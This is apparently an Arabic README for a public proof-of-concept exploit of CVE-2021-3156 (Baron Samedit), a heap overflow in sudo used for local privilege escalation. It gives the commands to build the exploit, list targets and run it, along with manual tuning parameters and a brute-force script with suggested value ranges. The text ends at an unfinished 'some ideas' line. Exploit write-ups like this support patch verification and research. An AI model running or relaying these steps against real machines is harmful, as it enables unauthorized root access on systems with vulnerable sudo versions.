exodusro/cve-2021-3156إثبات مفهوم لاستغلال CVE-2021-3156، وهو تجاوز سعة مخزن مؤقت قائم على الكومة في sudo (Baron Samedit). يوفر اختيار الهدف، وضبط المعاملات يدويًا، واكتشافًا تجريبيًا بالقوة الغاشمة لتصعيد الامتيازات.
هذا استغلال لثغرة CVE-2021-3156 في sudo (المُلقّبة بـ Baron Samedit من Qualys).
البناء:
$ make
قائمة الأهداف:
$ ./sudo-hax-me-a-sandwich
التشغيل:
$ ./sudo-hax-me-a-sandwich <target_number>
الوضع اليدوي:
$ ./sudo-hax-me-a-sandwich <smash_len_a> <smash_len_b> <null_stomp_len> <lc_all_len>
تأكد من تثبيت GNU parallel.
$ make brute
$ ./brute.sh <smash_start> <smash_end> <null_start> <null_end> <lc_start> <lc_end>
بعض الأنماط لتجربتها:
$ ./brute.sh 90 120 50 70 150 300
سيستهلك جميع النوى المتاحة. لا تحاول القيام بـ netflix & brute.
ساهم في المستودع أرسل PR (معقول)، يمكنني دمجه. اتركوا نجمة
بعض الأفكار: